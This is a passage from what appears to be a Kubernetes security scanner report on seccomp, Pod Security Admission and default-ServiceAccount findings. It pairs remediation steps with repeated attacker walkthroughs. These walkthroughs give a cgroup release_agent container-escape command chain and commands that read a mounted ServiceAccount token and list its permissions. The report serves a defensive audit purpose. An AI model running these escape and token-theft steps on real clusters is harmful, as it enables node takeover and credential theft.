  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Pod/foothold-exec/foothold-decoy Workload 5.5
Container app runs without a seccomp profile in Pod/foothold-exec/foothold-decoy
Scope · Workload Workload Pod/foothold-exec/foothold-decoy
Category: Privilege Escalation Resource: Pod/foothold-exec/foothold-decoy Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-decoy either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n foothold-exec <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get pod/foothold-decoy -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Pod/foothold-exec/foothold-target Workload 5.5
Container app runs without a seccomp profile in Pod/foothold-exec/foothold-target
Scope · Workload Workload Pod/foothold-exec/foothold-target
Category: Privilege Escalation Resource: Pod/foothold-exec/foothold-target Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-target either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n foothold-exec <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get pod/foothold-target -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Job/gw-workloads/gw-batch Workload 5.5
Container batch runs without a seccomp profile in Job/gw-workloads/gw-batch
Scope · Workload Workload Job/gw-workloads/gw-batch
Category: Privilege Escalation Resource: Job/gw-workloads/gw-batch Namespace: gw-workloads

Container batch in Job/gw-workloads/gw-batch either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n gw-workloads <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get job/gw-batch -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerbatch
Show raw JSON
{
  "container": "batch"
}
MEDIUM Deployment/local-path-storage/local-path-provisioner Workload 5.5
Container local-path-provisioner runs without a seccomp profile in Deployment/local-path-storage/local-path-provisioner
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Privilege Escalation Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n local-path-storage <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/local-path-provisioner -n local-path-storage -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerlocal-path-provisioner
Show raw JSON
{
  "container": "local-path-provisioner"
}
MEDIUM Deployment/secrets-bundle/cross-ns-consumer Workload 5.5
Container pause runs without a seccomp profile in Deployment/secrets-bundle/cross-ns-consumer
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Privilege Escalation Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n secrets-bundle <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/cross-ns-consumer -n secrets-bundle -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerpause
Show raw JSON
{
  "container": "pause"
}
MEDIUM

Namespace foothold-fixtures runs Baseline violators but has no PSA enforce label

KUBE-PSA-LABELS-001 3 subjects Score 5.5
MITRE ATT&CK: T1610

Affected subjects (3)

MEDIUM Namespace/foothold-fixtures Namespace 5.5
Namespace foothold-fixtures runs Baseline violators but has no PSA enforce label
Scope · Namespace Namespace foothold-fixtures
Category: Defense Evasion Resource: Namespace/foothold-fixtures Namespace: foothold-fixtures

Namespace foothold-fixtures carries PSA labels (pod-security.kubernetes.io/enforce = missing, audit = missing, warn = missing) but is running pods that violate the PSA Baseline level: Deployment/foothold-priv-app (privileged). Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an enforce label at baseline or stricter, even if the operator initially leaves it permissive (privileged) for legacy workloads. Without enforce, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.

PSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent ("this namespace is for system DaemonSets that need hostNetwork" reads very differently from "someone forgot to label this"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.

If you genuinely need permissive workloads in this namespace, the recommended pattern is enforce: privileged with audit: baseline and warn: baseline: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during kubectl apply).

Impact Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds privileged: true or hostPath: / to an existing workload is admitted with no warning, no audit-log entry, and no rejection.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises a CI service account that can deploy to this namespace.
  2. They push a manifest that mounts hostPath: / (or sets privileged: true).
  3. PSA admits the pod with no warning - the namespace has no enforce label.
  4. They escape the container to the node, steal kubelet credentials, and pivot.
Remediation
Apply pod-security.kubernetes.io/enforce: baseline (or restricted) to namespace foothold-fixtures, plus audit: baseline and warn: baseline so future regressions are logged. If the namespace genuinely needs permissive workloads, use enforce: privileged paired with audit/warn at baseline.
  1. Pick the right enforce level. For most app namespaces use restricted (drops most root, hostPath, capabilities). For system DaemonSets use baseline. For namespaces that genuinely need privileged workloads, set enforce: privileged but add audit: baseline so violations are logged.
  2. Apply the labels: kubectl label namespace foothold-fixtures pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline. Pin the version with pod-security.kubernetes.io/enforce-version=v1.30 (or your cluster version).
  3. Run kubectl get pods -n foothold-fixtures -o yaml | grep -E 'privileged|hostPath|hostNetwork' and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.
  4. Validate: kubectl get namespace foothold-fixtures -o jsonpath='{.metadata.labels}' | grep pod-security returns the three labels.
Evidence
baseline_violations
[
  "Deployment/foothold-priv-app (privileged)"
]
Show raw JSON
{
  "audit_label": "",
  "baseline_violations": [
    "Deployment/foothold-priv-app (privileged)"
  ],
  "enforce_label": "",
  "warn_label": ""
}
MEDIUM Namespace/psa-unlabeled-fixtures Namespace 5.5
Namespace psa-unlabeled-fixtures runs Baseline violators but has no PSA enforce label
Scope · Namespace Namespace psa-unlabeled-fixtures
Category: Defense Evasion Resource: Namespace/psa-unlabeled-fixtures Namespace: psa-unlabeled-fixtures

Namespace psa-unlabeled-fixtures carries PSA labels (pod-security.kubernetes.io/enforce = missing, audit = missing, warn = missing) but is running pods that violate the PSA Baseline level: Deployment/psa-unlabeled-app (hostNetwork). Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an enforce label at baseline or stricter, even if the operator initially leaves it permissive (privileged) for legacy workloads. Without enforce, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.

PSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent ("this namespace is for system DaemonSets that need hostNetwork" reads very differently from "someone forgot to label this"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.

If you genuinely need permissive workloads in this namespace, the recommended pattern is enforce: privileged with audit: baseline and warn: baseline: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during kubectl apply).

Impact Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds privileged: true or hostPath: / to an existing workload is admitted with no warning, no audit-log entry, and no rejection.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises a CI service account that can deploy to this namespace.
  2. They push a manifest that mounts hostPath: / (or sets privileged: true).
  3. PSA admits the pod with no warning - the namespace has no enforce label.
  4. They escape the container to the node, steal kubelet credentials, and pivot.
Remediation
Apply pod-security.kubernetes.io/enforce: baseline (or restricted) to namespace psa-unlabeled-fixtures, plus audit: baseline and warn: baseline so future regressions are logged. If the namespace genuinely needs permissive workloads, use enforce: privileged paired with audit/warn at baseline.
  1. Pick the right enforce level. For most app namespaces use restricted (drops most root, hostPath, capabilities). For system DaemonSets use baseline. For namespaces that genuinely need privileged workloads, set enforce: privileged but add audit: baseline so violations are logged.
  2. Apply the labels: kubectl label namespace psa-unlabeled-fixtures pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline. Pin the version with pod-security.kubernetes.io/enforce-version=v1.30 (or your cluster version).
  3. Run kubectl get pods -n psa-unlabeled-fixtures -o yaml | grep -E 'privileged|hostPath|hostNetwork' and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.
  4. Validate: kubectl get namespace psa-unlabeled-fixtures -o jsonpath='{.metadata.labels}' | grep pod-security returns the three labels.
Evidence
baseline_violations
[
  "Deployment/psa-unlabeled-app (hostNetwork)"
]
Show raw JSON
{
  "audit_label": "",
  "baseline_violations": [
    "Deployment/psa-unlabeled-app (hostNetwork)"
  ],
  "enforce_label": "",
  "warn_label": ""
}
MEDIUM Namespace/vulnerable Namespace 5.5
Namespace vulnerable runs Baseline violators but has no PSA enforce label
Scope · Namespace Namespace vulnerable
Category: Defense Evasion Resource: Namespace/vulnerable Namespace: vulnerable

Namespace vulnerable carries PSA labels (pod-security.kubernetes.io/enforce = missing, audit = missing, warn = missing) but is running pods that violate the PSA Baseline level: Deployment/generic-hostpath-app (hostPath), Deployment/host-ns-app (hostPID), Deployment/host-ns-app (hostIPC), Deployment/risky-app (hostNetwork), Deployment/risky-app (hostPath), and 2 more. Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an enforce label at baseline or stricter, even if the operator initially leaves it permissive (privileged) for legacy workloads. Without enforce, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.

PSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent ("this namespace is for system DaemonSets that need hostNetwork" reads very differently from "someone forgot to label this"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.

If you genuinely need permissive workloads in this namespace, the recommended pattern is enforce: privileged with audit: baseline and warn: baseline: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during kubectl apply).

Impact Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds privileged: true or hostPath: / to an existing workload is admitted with no warning, no audit-log entry, and no rejection.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises a CI service account that can deploy to this namespace.
  2. They push a manifest that mounts hostPath: / (or sets privileged: true).
  3. PSA admits the pod with no warning - the namespace has no enforce label.
  4. They escape the container to the node, steal kubelet credentials, and pivot.
Remediation
Apply pod-security.kubernetes.io/enforce: baseline (or restricted) to namespace vulnerable, plus audit: baseline and warn: baseline so future regressions are logged. If the namespace genuinely needs permissive workloads, use enforce: privileged paired with audit/warn at baseline.
  1. Pick the right enforce level. For most app namespaces use restricted (drops most root, hostPath, capabilities). For system DaemonSets use baseline. For namespaces that genuinely need privileged workloads, set enforce: privileged but add audit: baseline so violations are logged.
  2. Apply the labels: kubectl label namespace vulnerable pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline. Pin the version with pod-security.kubernetes.io/enforce-version=v1.30 (or your cluster version).
  3. Run kubectl get pods -n vulnerable -o yaml | grep -E 'privileged|hostPath|hostNetwork' and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.
  4. Validate: kubectl get namespace vulnerable -o jsonpath='{.metadata.labels}' | grep pod-security returns the three labels.
Evidence
baseline_violations
[
  "Deployment/generic-hostpath-app (hostPath)",
  "Deployment/host-ns-app (hostPID)",
  "Deployment/host-ns-app (hostIPC)",
  "Deployment/risky-app (hostNetwork)",
  "Deployment/risky-app (hostPath)",
  "Deployment/risky-app (privileged)",
  "Deployment/socket-mounts-app (hostPath)"
]
Show raw JSON
{
  "audit_label": "",
  "baseline_violations": [
    "Deployment/generic-hostpath-app (hostPath)",
    "Deployment/host-ns-app (hostPID)",
    "Deployment/host-ns-app (hostIPC)",
    "Deployment/risky-app (hostNetwork)",
    "Deployment/risky-app (hostPath)",
    "Deployment/risky-app (privileged)",
    "Deployment/socket-mounts-app (hostPath)"
  ],
  "enforce_label": "",
  "warn_label": ""
}
MEDIUM

Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount

KUBE-SA-DEFAULT-001 19 subjects Score 5.4
MITRE ATT&CK: T1552.001T1078T1528

Affected subjects (19)

MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.4
Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Workload Deployment/cloud-eks-test/imds-pivot-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n cloud-eks-test create sa imds-pivot-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: imds-pivot-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n cloud-eks-test -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n cloud-eks-test -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.4
Workload Deployment/containersec-fixtures/containersec-image runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-image does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

